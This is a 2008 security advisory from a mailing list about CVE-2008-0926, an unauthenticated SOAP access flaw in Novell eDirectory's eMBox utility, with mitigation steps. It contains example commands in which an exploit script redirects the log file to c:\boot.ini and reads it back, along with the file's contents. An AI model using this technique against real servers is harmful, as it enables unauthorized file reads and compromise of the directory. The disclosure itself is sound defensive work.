[NEWS] Novell eDirectory Unauthenticated Access to SOAP Interface
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 12 May 2008 20:07:43 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Novell eDirectory Unauthenticated Access to SOAP Interface
------------------------------------------------------------------------
SUMMARY
The Novell eDirectory's eMBox utility is vulnerable to unauthenticated
attacks. Successful exploit of this vulnerability could result in DoS or
access to local files.
DETAILS
Vulnerable Systems:
* Novell eDirectory version 8.8
* Novell eDirectory version 8.7.3.9
Immune Systems:
* Novell eDirectory version 8.8.2
Technical details:
A SOAP interface is available at the "/SOAP" URL. It is usually used
through the command-line client "edirutil.exe". This tool enforces access
control internally : the user is never authenticated directly on the
server, and authentication state is kept locally (i.e. client side). It
can by default be exploited to get the full DN, modify the name of the log
file, read its content, stop and start eDirectory components ...
Additional commands (depending of the server configuration) can be usedto
backup the database to a file, allowing full compromise of the directory
when combined with the read_logs action.
nicob $> ./eMBox.pl 192.168.1.1 set_logfile c:\\boot.ini
Logger settings changed successfully
nicob $> ./eMBox.pl 192.168.1.1 read_logs
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server"
/fastdetect
Note to eDirectory 8.7.x users:
This vulnerability isn't patched in 8.7.3 SP 10. You should instead
prevent the EMBOX module from loading (see Novell advisory for details).
Unloading the embox module will prevent edirutil from being able to
connect and exploit the ability to perform unauthenticated tasks.
To prevent the module from loading:
On NetWare:
Rename the SYS:\SYSTEM\EMBOX.NLM
On Solaris/Linux:
Rename the /usr/lib/nds-modules/libembox.so.1.0.0 and remove the embox
entry in the /usr/lib/nds-modules/ndsmodules.conf.
On Windows:
Rename the c:\novell\nds\embox.dlm and set the embox service in the
eDirectory Services to manually start.
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0926>
CVE-2008-0926
ADDITIONAL INFORMATION
The information has been provided by <mailto:nicob@xxxxxxxxx> Nicob.
The original article can be found at:
<http://www.novell.com/support/viewContent.do?externalId=3866911&sliceId=1> http://www.novell.com/support/viewContent.do?externalId=3866911&sliceId=1
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] Novell eDirectory DoS via HTTP Headers
- Next by Date: [NEWS] Call of Duty Denial of Service
- Previous by thread: [NT] Novell eDirectory DoS via HTTP Headers
- Next by thread: [NEWS] Call of Duty Denial of Service
- Index(es):
Relevant Pages
|
